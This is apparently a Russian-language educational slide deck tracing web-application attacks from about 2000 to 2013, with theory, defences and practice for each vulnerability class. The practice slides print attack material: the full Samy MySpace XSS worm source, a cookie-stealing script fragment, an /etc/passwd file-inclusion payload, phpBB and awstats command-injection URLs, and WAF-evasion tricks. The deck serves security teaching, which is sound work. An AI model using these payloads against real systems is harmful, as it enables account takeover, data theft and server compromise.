400 likes | 573 Views
Эволюция атак на веб-приложения и веб-сервисы. Безопасность веб-технологий. О чем будем говорить. Что такое веб-приложение и веб-служба Какие проблемы с безопасностью существуют Как эти проблемы используются хакерами. О чем говорить не будем. Отличие злоумышленникам от хакера
E N D
Эволюция атак на веб-приложения и веб-сервисы Безопасность веб-технологий
О чем будем говорить • Что такое веб-приложение и веб-служба • Какие проблемы с безопасностью существуют • Как эти проблемы используются хакерами
О чем говорить не будем • Отличие злоумышленникам от хакера • Отличие угроз, уязвимостей и атак • Отличия различных типов средств защиты
Что есть веб- приложение/служба • Что есть веб? • Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать в себя веб-службы) • Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker)+ логика (Provider) • Где встречаются: • Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ) • Внутренний сегмент (серверы приложений, базы знаний и т. п.) • Кем употребляется: всеми, но веб-службы обычно в серьезных проектах • Зачем употребляется: • организация удаленного доступа (SSL VPN, электронная почта); • администрирование (сетевыми устройствами, ботами ;)); • представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов, базы знаний); • взаимодействие между серверами приложений.
Отличия Будем считать, что: • Веб-приложение: • «условно» стандартизовано • HTTP/HTTPS • Интернет и интранет • Подразумевает «живого» клиента • Веб-сервис • стандартизованные протоколы и сообщения • SOAP через HTTP/HTTPS, SMTP (редко) • Чаще – интранет • Подразумевает клиента-автомат Пару слов оRESTful API…
Пример архитектуры • Клиент (браузер, сценарий), веб-сервер. • Опционально – СУБД, балансировщики нагрузки, IDS/IPS/WAF, фронтенды, различные службы (веб-, каталогов и т.п.) • Множество нововведений 200* - 201*
Примеры средств защиты • «Низкие» уровни OSI, пакеты - межсетевой экран, роутер • Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют в фаерволе) • Данные - Web Application Firewall (WAF) – софт и железо. • Функции: фильтрация контента и прочее. • Примеры: mod_security (софт), Barracuda WAF (железо). • Встроенная функциональность платформ и языков (safe_mode, taint mode, etc.) • Надстройки(администраторам - Suhosin, разработчикам – AntiXSSи аналоги)
Выводы (веб-приложения) • Логика работы уходит к клиенту • Рост популярности в корпоративном секторе (предпочтение тонкому клиенту) • Становятся более защищенными (и сервер, и клиент)
Атаки на веб-приложения (общее) • Нарушение запланированной логики работы приложения (код, архитектура, дизайн, конфигурация, etc.) • Все внешние данные – опасны, если они работают с интерфейсами, которые могут влиять на работу системы • Факт: приемлемый интернет, дырявый интранет
Атаки на веб-приложения (200*) • Как проводятся: руки, отдельные эксплоиты, простейшие сканеры • Ограниченное число технологий:ASP .NET, Perl (CGI), PHP. • Массовые атаки (черви BlueCode, Code Red, etc.) • Массовая эксплуатация уязвимостей в реализации (BoF’ы и иже с ними) • Атак много – эксплуатируется (из общего числа) мало • Обилие рабочих эксплоитов • Рассмотрим самые распространенные уязвимости (статистика компаний упирается в своих специалистов или вообще в наличие репортов об уязвимостях)
Атаки на веб-приложения (200*) – Переполнение буфера (BoF),теория • Самая популярная уязвимость, в вебе также распространена • Причины: • память несовершенна - критичная временная информация (окружение), хранимое в областях памяти (стек, куча) может быть перезаписана; • кодимобработку данных, но не думаем над характеристиками • Как: отправляем данные, которые выполняются как нужные инструкции • Результат: от чтения значений переменных до выполнения произвольного кода
Атаки на веб-приложения (200*) – Переполнение буфера (BoF),практика • Часто встречались в различных расширениях и дополнениях к серверу. Например: • Apache OpenSSL heap overflow exploit: get_client_master_key(), KEY_ARG • MS IIS 5.0 ISAPI printer BoF: http://#{buf}/NULL.printer?#{payload.encoded}
Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория • Что это и где: загрузка непредусмотренных типов файлов; везде, где есть загрузка файлов (изображения, отладочная информация к тикетам, шаблоны и т.п.) – чаще в админках • Причины: отсутствие фильтрации параметров загрузки файла (имени, содержимого, пути загрузки, etc.) • Как: • подмена MIME-type; • внедрение кода в корректный файл; • различные расширения (некорректные, длинные, множественные, пустые и т.п.); • использование функций платформы; • загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.); • нуль-байт в имени (например, при указании пути сохранения) • Профит: от создания FTP-хранилища но захвата сервера
Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория Защита: • избегать возможности загрузки; • использовать белые списки имен и расширений; • фильтровать Content-type; • принудительное приведение типов содержимого к безопасному (text/plain); • загружать в директории, недоступные хакеру.
Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), практика • CVE-2006-3362: Unrestricted file upload vulnerability in connectors/php/connector.phpin FCKeditor... allows remote attackers to upload and execute arbitrary PHP code via a filename with a .php extension and a trailing extension that is allowed, such as .zip. Пример с .htaccess:
Атаки на веб-приложения (200*) – XSS, теория • Что этои где:атаки на клиентовпутем подмены генерируемых веб-страниц (внедрение любого кода, с которым может работать браузер); везде, где пользовательские данные выступают как код, обрабатываемыйбраузером (HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводе системных сообщений различных компонентов (XML-парсеры, трассировка запросов СУБД, etc.) • Причины: отсутствие фильтрации данных, их использование для формирования представления ответа браузеру • Как: зависит от типа XSS, переход по ссылке клиентом • Профит:обход SOP, перехват критичных данных (куки, токены, пароли), слежка за пользователем, эксплуатация уязвимостей клиентской части, помощь в других атаках (CSRF, HTTP Response Splitting, etc.) • Защита: фильтрация ввода и вывода (встроенные средства – например,html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection, безопасная установка куки (время, флаги)
Атаки на веб-приложения (200*) – XSS, практика • Примеры атак: • “><script … new Image() … img.src = ‘’ + document.cookie • Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина – специфика работы со стилями браузеров <div id=mycodestyle="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){varC;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}varJ;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){varT;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);varAF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}varAG;functiongetHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), теория • Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу); везде, где есть запросы СУБД, но нет фильтрации передаваемых параметров запроса • Причины:небезопасное создание запросов (конкатенация или замена строк) с использованием пользовательских данных, отсутствие их фильтрации • Как: тестируем простейшую логику, определяем структуру начального запроса, корректно внедряем нужный код (зависит от типа запроса – обычно DML, от типа СУБД и ее версии) • Профит: от чтения полей (например, данные кредиток) и создания DoSдо удаления БД или захвата сервера • Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements – сначала запрос, затем данные, обработка последовательная), надстройки для статического анализа (CAT.NET), приведение типов данных, отключение вывода ошибок, жесткая фильтрация прав, шифрование хранимых данных
Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), практика • RBS WorldPay – 9 млн. $ из 130 ATM Согласно информации, представленной в материалах обвинения, лимиты снятия наличности по картам через ATM и при расчётах через POS-терминалы были увеличены по различным картам от 5 тыс. USD до 500 тыс. USD. UPDATE Card SET ATMxxxxxLimit = 500000, POSxxxxxLimit = 500000, ATMxxxxxxxxx = 500000, ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 = 500000, ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN ('xxxxxxxxxxxx1627') • Вполне себе используются для распространения вредоносного ПО (особенно MSSQL) ; UPDATE [‘+@T+’] SET … [‘+@C+’] … <script src
Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-file inclusion/reading), теория • Что это и где: возможность подключения сценария (произвольного или доступного) или чтения произвольного (в пределах прав) файла. Универсальна по отношению к платформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) или удаленной (file:///)файловой системой • Причины: неверная обработка путей к файлам, выход за пределы исходного каталога, отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.) • Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируем возможность чтения иных локальных файлов и отсечения ненужных частей (%00, …, ?, %23), подключения удаленных файлов • Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольного кода (через использование схем php://input, \\, php://filter/convert.base64-encode/resource= 2013) • Защита: установка настроек, ограничивающих подключение файлов (allow_url_* = Off), проверка в коде и обработчиках веб-сервера по соответствию регулярному выражению (опасно) – структура, длина и т. п., приведение к нужной форме корректная настройка прав доступа к файлам, экранирование спец. символов
Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-file inclusion/reading), практика • Классика: <?php include (“includes/”.$_GET[‘file’].”.inc”; ?> ?file=../../../../../../../../../../etc/passwd%00 • Читаем passwd (здесь – JSP): а затем …
Атаки на веб-приложения (200*) –Внедрение команд/кода (Command/code injection),теория • Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасное использование модификатора /eпри работе с регулярками, функции eval(), exec(), system() и т.п. • Причины: программист злоупотребляет командными интерфейсами и мешает код и данные пользователя, отсутствие фильтрации пользовательского ввода • Как:тестить спец. символы- &&, |, ., ; (и какие угодно еще в зависимости от контекста) • Профит: зависит от имеющихся прав у приложения и иных компонентов сервера (вплоть до управления сервером от суперпользователя) • Защита:не вызывать опасные функции (интерпретаторы команд), использовать API «обертки» и безопасные режимы работы платформ (taint mode в Perl и Ruby), фильтровать ввод по черным, белым спискам и регуляркам, экранировать потенциально опасные данные, минимизация привилегий приложения
Атаки на веб-приложения (200*) –Внедрение команд/кода (Command/code injection), практика • PhpBB <= 2.0.15 (PHP): preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',"@preg_replace('#\b(" . str_replace('\\','\\\\', $highlight_match) . ")\b#i','<span style=\"color:#" . $theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'); $action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527"; • OmniHTTPd 2.07 (Perl): if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf")) /cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%20
Атаки на веб-приложения (200*) -иное Малое количество защитных мер, непопулярность бест-практис и отсутствие внимания к безопасности в целом, малое количество грамотных специалистов в ИБ (как защита, так и атака), отсутствие стандартизации (в первую очередь, в браузерах), вся логика у сервера, WEB 2.0 еще не вырос: • брутфорс(идентификационные данные, расположение ресурсов при корявых правах доступа); • мало клиент сайда и много сервер-сайда, работало все подряд при малом количестве защитных мер (например, XST); • ошибки конфигураций (индексация директорий, некорректная обработка исключений, переключение методов запроса, ошибки с расширениями файлов и т. п.).
Атаки на веб-приложения (201*) • Многие – новая коммерческая обертка для старых • Нарушение логики работы архитектуры взаимодействия • Атак много – эксплуатируется много (рост квалификации, доступность информации и средств эксплуатации) • Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind), хорошо понимать архитектуру приложения и сети (SSRF)) • Комплексные(например, XSS+CSRF) • Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы. • Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах): • смена представления (кодировки); • множественные вхождения идентичных параметров (заголовки, переменные) • регистр (часто) и длина (редко); • изменение способов передачи (подделка методов, http->https) • фрагментация данных (chunked); • использование синонимов (функции, методы, например onerror->onclick) • Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST) • Разнообразие платформ и языков Рассмотрим самые популярные (и посмотрим на версию OWASP)
Распространенность проблем (рисков) по версии OWASP
Атаки на веб-приложения (201*) –Подделка межсайтовых запросов (CSRF), теория • Что это:возможность совершения действий в результате непреднамеренной (или преднамеренной, но неочевидной) инициации запроса к серверу от авторизованного пользователя • Причины: корень зла – отсутствие нормальных механизмов контроля параметров запроса клиента • Как: найти запрос, отправляемый любым способом и выполняющий нужное действие сразу же по результатам его обработки без применения «секретных» параметров запроса, сформировать страницу, инициирующую запрос любым доступным методом и вынудить атакуемого пользователя ее открыть • Профит:авы • Защита:anti-CSRF токены, на всякий случай – проверка Referer
Атаки на веб-приложения (201*) –Подделка межсайтовых запросов (CSRF), практика • Наличие инструкций в URI – самый очевидный, но не единственный показатель; • Существовали и ранее, но не было так популярно, так как успешная атака подразумевает знание параметров запроса (соц. сервисы – да, самописнаяадминка – нет).
Атаки на веб-приложения (201*) -BoF • Все еще живы (и будут), но в крупных веб-серверах, модулях встречаются все реже (nginxи обработка chunked запросовв контексте ctx, CVE-2013-2028) + if (ctx->size < 0 || ctx->length < 0) { + goto invalid; + } • Рост сложности эксплуатации (защитные меры) • Выгоднее не делать эксплоит, но искать уязвимость
Атаки на веб-приложения (201*) -XSS • Новые механизмы защиты (IE X-XSS-Protection, FF NoScript, Chrome Anti-XSS filter, Content Security Policy) • Активное использованиедавно существующих средств защиты (httpOnly, 2002)=> необходимостьих обхода (длинные заголовки->раскрытие куки, Java HTTP Api - getHeaderField) • Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based • AJAX и проблема Content-type • Server-side XSS
Атаки на веб-приложения (201*) -SQL • Скорее исключение, чем правило • Значительное снижение распространенности в результате наличия защитных механизмов компонентов веб-приложений и использования безопасных методов программирования • Ограничение возможностей злоумышленника по умолчанию в СУБД – блокировка доступа к различным объектам данных
Атаки на веб-приложения (201*) – через Ошибки авторизации (Missing Function Level Access Control) • Стали еще более популярны • В связи с необходимостью корректной настройки множества разнородных компонентов администраторы забывают про простейшие требования к безопасности • Частый случай – 9 из 10 административных сценариев/функций недоступны, но один – доступен. Осталось найти его имя и параметры.
Атаки на веб-приложения (201*) –Ошибки в логике (Logic flaws) • Были всегда, но популярность возрастает – как за счет усложнения эксплуатации других атак, так и за счет роста кол-ва и сложности взаимодействующих компонентов • Не могут быть найдены при помощи автоматизированных средств • Требуют ясного понимания принципов взаимодействия компонентов приложения • Примеры: использование функции дешифрования с одинаковыми параметрами для критичных и некритичных данных (доступных для просмотра пользователю), управление потоком выполнения на основании наличия/отсутствия переменной, безотносительно к ее значению
Атаки на веб-приложения (201*) –криптография • Требуют кропотливого труда и запаса времени и поэтому обычно ориентированы на массовость (SSL/TLS, ASP .NET) • Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4 года • Чаще всего доходят до PoC’а, но требуют весьма специфических условий
Атаки на веб-приложения (201*) –модули, плагины, расширения, апплеты • Широкое разнообразие надстроек • Разнородные ошибки – от XSS до доступа к приватным методам защищенных классов • В большинстве случаев – необходимость обхода sandbox (но Java не такая , i.e. Rhino Script Engine) • Высокая рентабельность разработки эксплоитов=> популярность
Атаки на веб-приложения (201*) –Отказ в обслуживании • Рост популярности не только классическими вариантами, но и через эксплуатацию ошибок в приложениях, Web-протоколах и их реализациях: • ресурсоемкие криптографические операции, e.g.OpenSSLrenegotiation) (протокол/реализация) • ресурсоемкие операции СУБД (приложение); • Apache Killer и заголовок Range (протокол/реализация); • HTTP POST DoS – медленная отправка больших объемов данных (протокол)
Атаки на веб-приложения (201*) –иное • Некоторые атаки встречаются все реже(LFI/RFI почти умер) • Отдельные атаки никогда не умрут (небезопасная конфигурация, ошибки в назначении прав доступа) • «Социальные» атаки (ClickJacking, OpenRedirect, CSRF) • «Белые» хакеры предпочитают искать возможность проведения самых простых для обнаружения (но не всегда - для эксплуатации) атак: CSRF, XSS, ClickJacking, OpenRedirect и т.п. • Мобильные приложения и веб
Выводы (динамика развития атак на веб 2000-2013) • Акцент смещается к атакам на клиентов (почему? – коммерчески выгодно фирмам – меньше трудозатраты, проще искать, теоретически – сложнее отслеживать) • Атаки становятся более комплексными • Большая кучность, меньшая дальность: атаки становятся и более сложными и более легкими (широкое распространение доп. средств защиты – WAF’ы и т.п., а также наличие встроенных средств защиты в компонентах, рост числа компонентов у клиентов – атаки через Java, Flash, иные плагины etc.)
Дополнительно: какие еще атаки бывают • Другие инъекции (XML, XPath, LDAP, mail) • Атаки на сессии (replay, fixation, prediction) • Утечки информации • Проблемы «предсказуемости» (путей, сценариев, функций, значений параметров) • Прочее
Интересные материалы • Ресурсы: http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012 https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdf https://www.owasp.org http://www.slideshare.net/andrewpetukhov/starter-edition • Книги (последние издания): • Web Application Hacker/Defender Handbook; • 24 смертных греха компьютерной безопасности; • The tangled Web.